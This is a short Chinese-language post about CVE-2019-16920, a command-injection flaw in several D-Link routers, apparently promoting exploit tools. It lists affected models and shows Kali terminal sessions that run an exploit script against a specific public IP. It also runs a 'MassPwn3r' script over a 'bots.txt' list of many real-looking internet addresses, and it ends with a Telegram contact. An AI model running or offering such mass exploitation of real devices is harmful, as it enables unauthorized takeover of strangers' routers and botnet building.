漏洞存在于以下D-Link产品的最新固件中： DIR-655 DIR-866L DIR-652 DHP-1565
在D-Link产品（如DIR-655C、DIR-866L、DIR-652和DHP-1565）中存在未认证的远程代码执行漏洞。该问题出现在攻击者向"PingTest"设备通用网关接口发送任意输入时，可能导致常见的注入攻击。成功触发命令注入的攻击者能够完全控制整个系统。后来，独立发现以下型号也受影响：DIR-855L、DAP-1533、DIR-862L、DIR-615、DIR-835和DIR-825。
root@kali:~# python3 CVE-2019-16920.py 195.208.166.41 8081 ls
[*]Sending payload
[*]Exploited!
root@kali:~#
root@kali:~# python3 CVE-2019-16920-MassPwn3r.py bots.txt 8081 id
[*]Exploiting: 195.208.166.41
[!]Unable to connect to host
[!]Unable to connect to host
[*]Exploiting: 83.243.166.37
[*]Exploiting: 74.95.133.33
[*]Exploiting: 97.89.64.118
[*]Exploiting: 66.162.68.154
[!]Unable to connect to host
[*]Exploiting: 72.47.152.161
[*]Exploiting: 97.93.250.209
[*]Exploiting: 183.207.196.64
root@kali:~#
Telegram:@eth_hacker0x18